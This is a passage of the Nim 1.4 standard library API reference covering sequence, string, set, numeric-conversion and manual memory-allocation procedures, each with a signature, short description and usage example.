``` var x = newSeqOfCap[int](5) assert len(x) == 0 x.add(10) assert len(x) == 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L658) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L658) ``` proc newSeqUninitialized[T: SomeNumber](len: Natural): seq[T] ``` Creates a new sequence of type `seq[T]` with length `len`. Only available for numbers types. Note that the sequence will be uninitialized. After the creation of the sequence you should assign entries to the sequence instead of adding them. ``` var x = newSeqUninitialized[int](3) assert len(x) == 3 x[0] = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L671) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L671) ``` proc len[TOpenArray: openArray | varargs](x: TOpenArray): int {...}{. magic: "LengthOpenArray", noSideEffect.} ``` Returns the length of an openArray. ``` var s = [1, 1, 1, 1, 1] echo len(s) # => 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L689) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L689) ``` proc len(x: string): int {...}{.magic: "LengthStr", noSideEffect.} ``` Returns the length of a string. ``` var str = "Hello world!" echo len(str) # => 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L697) ``` proc len(x: cstring): int {...}{.magic: "LengthStr", noSideEffect.} ``` Returns the length of a compatible string. This is sometimes an O(n) operation. **Note:** On the JS backend this currently counts UTF-16 code points instead of bytes at runtime (not at compile time). For now, if you need the byte length of the UTF-8 encoding, convert to string with `$` first then call `len`. ``` var str: cstring = "Hello world!" len(str) # => 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L704) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L704) ``` proc len(x: (type array) | array): int {...}{.magic: "LengthArray", noSideEffect.} ``` Returns the length of an array or an array type. This is roughly the same as `high(T)-low(T)+1`. ``` var arr = [1, 1, 1, 1, 1] echo len(arr) # => 5 echo len(array[3..8, int]) # => 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L717) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L717) ``` proc len[T](x: seq[T]): int {...}{.magic: "LengthSeq", noSideEffect.} ``` Returns the length of a sequence. ``` var s = @[1, 1, 1, 1, 1] echo len(s) # => 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L726) ``` proc ord[T: Ordinal | enum](x: T): int {...}{.magic: "Ord", noSideEffect.} ``` Returns the internal `int` value of an ordinal value `x`. ``` echo ord('A') # => 65 echo ord('a') # => 97 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L734) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L734) ``` proc chr(u: range[0 .. 255]): char {...}{.magic: "Chr", noSideEffect.} ``` Converts an `int` in the range `0..255` to a character. ``` echo chr(65) # => A echo chr(97) # => a ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L741) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L741) ``` proc `+`(x: float32): float32 {...}{.magic: "UnaryPlusF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L750) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L750) ``` proc `-`(x: float32): float32 {...}{.magic: "UnaryMinusF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L751) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L751) ``` proc `+`(x, y: float32): float32 {...}{.magic: "AddF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L752) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L752) ``` proc `-`(x, y: float32): float32 {...}{.magic: "SubF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L753) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L753) ``` proc `*`(x, y: float32): float32 {...}{.magic: "MulF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L754) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L754) ``` proc `/`(x, y: float32): float32 {...}{.magic: "DivF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L755) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L755) ``` proc `+`(x: float): float {...}{.magic: "UnaryPlusF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L757) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L757) ``` proc `-`(x: float): float {...}{.magic: "UnaryMinusF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L758) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L758) ``` proc `+`(x, y: float): float {...}{.magic: "AddF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L759) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L759) ``` proc `-`(x, y: float): float {...}{.magic: "SubF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L760) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L760) ``` proc `*`(x, y: float): float {...}{.magic: "MulF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L761) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L761) ``` proc `/`(x, y: float): float {...}{.magic: "DivF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L762) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L762) ``` proc `==`(x, y: float32): bool {...}{.magic: "EqF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L764) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L764) ``` proc `<=`(x, y: float32): bool {...}{.magic: "LeF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L765) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L765) ``` proc `<`(x, y: float32): bool {...}{.magic: "LtF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L766) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L766) ``` proc `==`(x, y: float): bool {...}{.magic: "EqF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L768) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L768) ``` proc `<=`(x, y: float): bool {...}{.magic: "LeF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L769) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L769) ``` proc `<`(x, y: float): bool {...}{.magic: "LtF64", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L770) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L770) ``` proc incl[T](x: var set[T]; y: T) {...}{.magic: "Incl", noSideEffect.} ``` Includes element `y` in the set `x`. This is the same as `x = x + {y}`, but it might be more efficient. ``` var a = {1, 3, 5} a.incl(2) # a <- {1, 2, 3, 5} a.incl(4) # a <- {1, 2, 3, 4, 5} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L1) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L1) ``` proc excl[T](x: var set[T]; y: T) {...}{.magic: "Excl", noSideEffect.} ``` Excludes element `y` from the set `x`. This is the same as `x = x - {y}`, but it might be more efficient. ``` var b = {2, 3, 5, 6, 12, 545} b.excl(5) # b <- {2, 3, 6, 12, 545} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L20) ``` proc card[T](x: set[T]): int {...}{.magic: "Card", noSideEffect.} ``` Returns the cardinality of the set `x`, i.e. the number of elements in the set. ``` var a = {1, 3, 5, 7} echo card(a) # => 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L38) ``` proc len[T](x: set[T]): int {...}{.magic: "Card", noSideEffect.} ``` An alias for `card(x)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L46) ``` proc `*`[T](x, y: set[T]): set[T] {...}{.magic: "MulSet", noSideEffect.} ``` This operator computes the intersection of two sets. ``` let a = {1, 2, 3} b = {2, 3, 4} echo a * b # => {2, 3} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L50) ``` proc `+`[T](x, y: set[T]): set[T] {...}{.magic: "PlusSet", noSideEffect.} ``` This operator computes the union of two sets. ``` let a = {1, 2, 3} b = {2, 3, 4} echo a + b # => {1, 2, 3, 4} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L58) ``` proc `-`[T](x, y: set[T]): set[T] {...}{.magic: "MinusSet", noSideEffect.} ``` This operator computes the difference of two sets. ``` let a = {1, 2, 3} b = {2, 3, 4} echo a - b # => {1} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L66) ``` proc contains[T](x: set[T]; y: T): bool {...}{.magic: "InSet", noSideEffect.} ``` One should overload this proc if one wants to overload the `in` operator. The parameters are in reverse order! `a in b` is a template for `contains(b, a)`. This is because the unification algorithm that Nim uses for overload resolution works from left to right. But for the `in` operator that would be the wrong direction for this piece of code: ``` var s: set[range['a'..'z']] = {'a'..'c'} assert s.contains('c') assert 'b' in s ``` If `in` had been declared as `[T](elem: T, s: set[T])` then `T` would have been bound to `char`. But `s` is not compatible to type `set[char]`! The solution is to bind `T` to `range['a'..'z']`. This is achieved by reversing the parameters for `contains`; `in` then passes its arguments in reverse order. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L75) ``` proc contains[U, V, W](s: HSlice[U, V]; value: W): bool {...}{.noSideEffect, inline.} ``` Checks if `value` is within the range of `s`; returns true if `value >= s.a and value <= s.b` ``` assert((1..3).contains(1) == true) assert((1..3).contains(2) == true) assert((1..3).contains(4) == false) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L776) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L776) ``` proc `is`[T, S](x: T; y: S): bool {...}{.magic: "Is", noSideEffect.} ``` Checks if `T` is of the same type as `S`. For a negated version, use [isnot](#isnot.t,untyped,untyped). ``` assert 42 is int assert @[1, 2] is seq proc test[T](a: T): int = when (T is int): return a else: return 0 assert(test[int](3) == 3) assert(test[string]("xyz") == 0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L799) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L799) ``` proc new[T](a: var ref T) {...}{.magic: "New", noSideEffect.} ``` Creates a new object of type `T` and returns a safe (traced) reference to it in `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L855) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L855) ``` proc new(t: typedesc): auto ``` Creates a new object of type `T` and returns a safe (traced) reference to it as result value. When `T` is a ref type then the resulting type will be `T`, otherwise it will be `ref T`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L859) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L859) ``` proc `of`[T, S](x: typedesc[T]; y: typedesc[S]): bool {...}{.magic: "Of", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L882) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L882) ``` proc `of`[T, S](x: T; y: typedesc[S]): bool {...}{.magic: "Of", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L883) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L883) ``` proc `of`[T, S](x: T; y: S): bool {...}{.magic: "Of", noSideEffect.} ``` Checks if `x` has a type of `y`. ``` assert(FloatingPointDefect of Exception) assert(DivByZeroDefect of Exception) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L884) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L884) ``` proc cmp[T](x, y: T): int ``` Generic compare proc. Returns: * a value less than zero, if `x < y` * a value greater than zero, if `x > y` * zero, if `x == y` This is useful for writing generic algorithms without performance loss. This generic implementation uses the `==` and `<` operators. ``` import algorithm echo sorted(@[4, 2, 6, 5, 8, 7], cmp[int]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L891) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L891) ``` proc `@`[IDX, T](a: sink array[IDX, T]): seq[T] {...}{.magic: "ArrToSeq", noSideEffect.} ``` Turns an array into a sequence. This most often useful for constructing sequences with the array constructor: `@[1, 2, 3]` has the type `seq[int]`, while `[1, 2, 3]` has the type `array[0..2, int]`. ``` let a = [1, 3, 5] b = "foo" echo @a # => @[1, 3, 5] echo @b # => @['f', 'o', 'o'] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L916) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L916) ``` proc default(T: typedesc): T:type {...}{.magic: "Default", noSideEffect.} ``` returns the default value of the type `T`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L932) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L932) ``` proc reset[T](obj: var T) {...}{.noSideEffect.} ``` Resets an object `obj` to its default value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L935) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L935) ``` proc setLen[T](s: var seq[T]; newlen: Natural) {...}{.magic: "SetLengthSeq", noSideEffect.} ``` Sets the length of seq `s` to `newlen`. `T` may be any sequence type. If the current length is greater than the new length, `s` will be truncated. ``` var x = @[10, 20] x.setLen(5) x[4] = 50 assert x == @[10, 20, 0, 0, 50] x.setLen(1) assert x == @[10] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L947) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L947) ``` proc setLen(s: var string; newlen: Natural) {...}{.magic: "SetLengthStr", noSideEffect.} ``` Sets the length of string `s` to `newlen`. If the current length is greater than the new length, `s` will be truncated. ``` var myS = "Nim is great!!" myS.setLen(3) # myS <- "Nim" echo myS, " is fantastic!!" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L962) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L962) ``` proc newString(len: Natural): string {...}{.magic: "NewString", importc: "mnewString", noSideEffect.} ``` Returns a new string of length `len` but with uninitialized content. One needs to fill the string character after character with the index operator `s[i]`. This procedure exists only for optimization purposes; the same effect can be achieved with the `&` operator or with `add`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L974) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L974) ``` proc newStringOfCap(cap: Natural): string {...}{.magic: "NewStringOfCap", importc: "rawNewString", noSideEffect.} ``` Returns a new string of length `0` but with capacity `cap`. This procedure exists only for optimization purposes; the same effect can be achieved with the `&` operator or with `add`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L983) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L983) ``` proc `&`(x: string; y: char): string {...}{.magic: "ConStrStr", noSideEffect, merge.} ``` Concatenates `x` with `y`. ``` assert("ab" & 'c' == "abc") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L990) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L990) ``` proc `&`(x, y: char): string {...}{.magic: "ConStrStr", noSideEffect, merge.} ``` Concatenates characters `x` and `y` into a string. ``` assert('a' & 'b' == "ab") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L996) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L996) ``` proc `&`(x, y: string): string {...}{.magic: "ConStrStr", noSideEffect, merge.} ``` Concatenates strings `x` and `y`. ``` assert("ab" & "cd" == "abcd") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1002) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1002) ``` proc `&`(x: char; y: string): string {...}{.magic: "ConStrStr", noSideEffect, merge.} ``` Concatenates `x` with `y`. ``` assert('a' & "bc" == "abc") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1008) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1008) ``` proc add(x: var string; y: char) {...}{.magic: "AppendStrCh", noSideEffect.} ``` Appends `y` to `x` in place. ``` var tmp = "" tmp.add('a') tmp.add('b') assert(tmp == "ab") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1018) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1018) ``` proc add(x: var string; y: string) {...}{.magic: "AppendStrStr", noSideEffect.} ``` Concatenates `x` and `y` in place. ``` var tmp = "" tmp.add("ab") tmp.add("cd") assert(tmp == "abcd") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1026) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1026) ``` proc quit(errorcode: int = QuitSuccess) {...}{.magic: "Exit", noreturn.} ``` Stops the program immediately with an exit code. Before stopping the program the "exit procedures" are called in the opposite order they were added with [addExitProc](exitprocs#addExitProc,proc). `quit` never returns and ignores any exception that may have been raised by the quit procedures. It does *not* call the garbage collector to free all the memory, unless a quit procedure calls [GC\_fullCollect](#GC_fullCollect). The proc `quit(QuitSuccess)` is called implicitly when your nim program finishes without incident for platforms where this is the expected behavior. A raised unhandled exception is equivalent to calling `quit(QuitFailure)`. Note that this is a *runtime* call and using `quit` inside a macro won't have any compile time effect. If you need to stop the compiler inside a macro, use the [error](manual#pragmas-error-pragma) or [fatal](manual#pragmas-fatal-pragma) pragmas. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1151) ``` proc add[T](x: var seq[T]; y: sink T) {...}{.magic: "AppendSeqElem", noSideEffect.} ``` Generic proc for adding a data item `y` to a container `x`. For containers that have an order, `add` means *append*. New generic containers should also call their adding proc `add` for consistency. Generic code becomes much easier to write if the Nim naming scheme is respected. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1210) ``` proc add[T](x: var seq[T]; y: openArray[T]) {...}{.noSideEffect.} ``` Generic proc for adding a container `y` to a container `x`. For containers that have an order, `add` means *append*. New generic containers should also call their adding proc `add` for consistency. Generic code becomes much easier to write if the Nim naming scheme is respected. See also: * [& proc](#&,seq%5BT%5D%5BT%5D,seq%5BT%5D%5BT%5D) ``` var s: seq[string] = @["test2","test2"] s.add("test") # s <- @[test2, test2, test] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1244) ``` proc del[T](x: var seq[T]; i: Natural) {...}{.noSideEffect.} ``` Deletes the item at index `i` by putting `x[high(x)]` into position `i`. This is an `O(1)` operation. See also: * [delete](#delete,seq%5BT%5D%5BT%5D,Natural) for preserving the order ``` var i = @[1, 2, 3, 4, 5] i.del(2) # => @[1, 2, 5, 4] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1271) ``` proc delete[T](x: var seq[T]; i: Natural) {...}{.noSideEffect.} ``` Deletes the item at index `i` by moving all `x[i+1..]` items by one position. This is an `O(n)` operation. See also: * [del](#delete,seq%5BT%5D%5BT%5D,Natural) for O(1) operation ``` var i = @[1, 2, 3, 4, 5] i.delete(2) # => @[1, 2, 4, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1286) ``` proc insert[T](x: var seq[T]; item: sink T; i = 0.Natural) {...}{.noSideEffect.} ``` Inserts `item` into `x` at position `i`. ``` var i = @[1, 3, 5] i.insert(99, 0) # i <- @[99, 1, 3, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1310) ``` proc repr[T](x: T): string {...}{.magic: "Repr", noSideEffect.} ``` Takes any Nim variable and returns its string representation. It works even for complex data graphs with cycles. This is a great debugging tool. ``` var s: seq[string] = @["test2", "test2"] var i = @[1, 2, 3, 4, 5] echo repr(s) # => 0x1055eb050[0x1055ec050"test2", 0x1055ec078"test2"] echo repr(i) # => 0x1055ed050[1, 2, 3, 4, 5] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1335) ``` proc toFloat(i: int): float {...}{.noSideEffect, inline, raises: [], tags: [].} ``` Converts an integer `i` into a `float`. If the conversion fails, `ValueError` is raised. However, on most platforms the conversion cannot fail. ``` let a = 2 b = 3.7 echo a.toFloat + b # => 5.7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1424) ``` proc toBiggestFloat(i: BiggestInt): BiggestFloat {...}{.noSideEffect, inline, raises: [], tags: [].} ``` Same as [toFloat](#toFloat,int) but for `BiggestInt` to `BiggestFloat`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1438) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1438) ``` proc toInt(f: float): int {...}{.noSideEffect, raises: [], tags: [].} ``` Converts a floating point number `f` into an `int`. Conversion rounds `f` half away from 0, see [Round half away from zero](https://en.wikipedia.org/wiki/Rounding#Round_half_away_from_zero). Note that some floating point numbers (e.g. infinity or even 1e19) cannot be accurately converted. ``` doAssert toInt(0.49) == 0 doAssert toInt(0.5) == 1 doAssert toInt(-0.5) == -1 # rounding is symmetrical ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1442) ``` proc toBiggestInt(f: BiggestFloat): BiggestInt {...}{.noSideEffect, raises: [], tags: [].} ``` Same as [toInt](#toInt,float) but for `BiggestFloat` to `BiggestInt`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1458) ``` proc addQuitProc(quitProc: proc () {...}{.noconv.}) {...}{.importc: "atexit", header: "<stdlib.h>", deprecated: "use exitprocs.addExitProc".} ``` **Deprecated:** use exitprocs.addExitProc Adds/registers a quit procedure. Each call to `addQuitProc` registers another quit procedure. Up to 30 procedures can be registered. They are executed on a last-in, first-out basis (that is, the last function registered is the first to be executed). `addQuitProc` raises an EOutOfIndex exception if `quitProc` cannot be registered. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1462) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1462) ``` proc swap[T](a, b: var T) {...}{.magic: "Swap", noSideEffect.} ``` Swaps the values `a` and `b`. This is often more efficient than `tmp = a; a = b; b = tmp`. Particularly useful for sorting algorithms. ``` var a = 5 b = 9 swap(a, b) assert a == 9 assert b == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L1476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L1476) ``` proc `-`(a, b: AllocStats): AllocStats {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L58) ``` proc getAllocStats(): AllocStats {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L75) ``` proc createU(T: typedesc; size = 1.Positive): ptr T:type {...}{.inline, gcsafe, locks: 0, raises: [].} ``` Allocates a new memory block with at least `T.sizeof * size` bytes. The block has to be freed with [resize(block, 0)](#resize,ptr.T,Natural) or [dealloc(block)](#dealloc,pointer). The block is not initialized, so reading from it before writing to it is undefined behaviour! The allocated memory belongs to its allocating thread! Use [createSharedU](#createSharedU,typedesc) to allocate from a shared heap. See also: * [create](#create,typedesc) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L93) ``` proc create(T: typedesc; size = 1.Positive): ptr T:type {...}{.inline, gcsafe, locks: 0, raises: [].} ``` Allocates a new memory block with at least `T.sizeof * size` bytes. The block has to be freed with [resize(block, 0)](#resize,ptr.T,Natural) or [dealloc(block)](#dealloc,pointer). The block is initialized with all bytes containing zero, so it is somewhat safer than [createU](#createU,typedesc). The allocated memory belongs to its allocating thread! Use [createShared](#createShared,typedesc) to allocate from a shared heap. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L121) ``` proc resize[T](p: ptr T; newSize: Natural): ptr T {...}{.inline, gcsafe, locks: 0, raises: [].} ``` Grows or shrinks a given memory block. If `p` is **nil** then a new memory block is returned. In either way the block has at least `T.sizeof * newSize` bytes. If `newSize == 0` and `p` is not **nil** `resize` calls `dealloc(p)`. In other cases the block has to be freed with `free`. The allocated memory belongs to its allocating thread! Use [resizeShared](#resizeShared,ptr.T,Natural) to reallocate from a shared heap. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L164) ``` proc dealloc(p: pointer) {...}{.noconv, compilerproc, gcsafe, gcsafe, locks: 0, raises: [], tags: [].} ``` Frees the memory allocated with `alloc`, `alloc0` or `realloc`. **This procedure is dangerous!** If one forgets to free the memory a leak occurs; if one tries to access freed memory (or just freeing it twice!) a core dump may happen or other memory may be corrupted. The freed memory must belong to its allocating thread! Use [deallocShared](#deallocShared,pointer) to deallocate from a shared heap. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L177) ``` proc createSharedU(T: typedesc; size = 1.Positive): ptr T:type {...}{.inline, tags: [], gcsafe, locks: 0, raises: [].} ``` Allocates a new memory block on the shared heap with at least `T.sizeof * size` bytes. The block has to be freed with [resizeShared(block, 0)](#resizeShared,ptr.T,Natural) or [freeShared(block)](#freeShared,ptr.T). The block is not initialized, so reading from it before writing to it is undefined behaviour! See also: * [createShared](#createShared,typedesc) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L207) ``` proc createShared(T: typedesc; size = 1.Positive): ptr T:type {...}{.inline.} ``` Allocates a new memory block on the shared heap with at least `T.sizeof * size` bytes. The block has to be freed with [resizeShared(block, 0)](#resizeShared,ptr.T,Natural) or [freeShared(block)](#freeShared,ptr.T). The block is initialized with all bytes containing zero, so it is somewhat safer than [createSharedU](#createSharedU,typedesc). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L237) ``` proc resizeShared[T](p: ptr T; newSize: Natural): ptr T {...}{.inline, raises: [].} ``` Grows or shrinks a given memory block on the heap. If `p` is **nil** then a new memory block is returned. In either way the block has at least `T.sizeof * newSize` bytes. If `newSize == 0` and `p` is not **nil** `resizeShared` calls `freeShared(p)`. In other cases the block has to be freed with [freeShared](#freeShared,ptr.T). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L275) 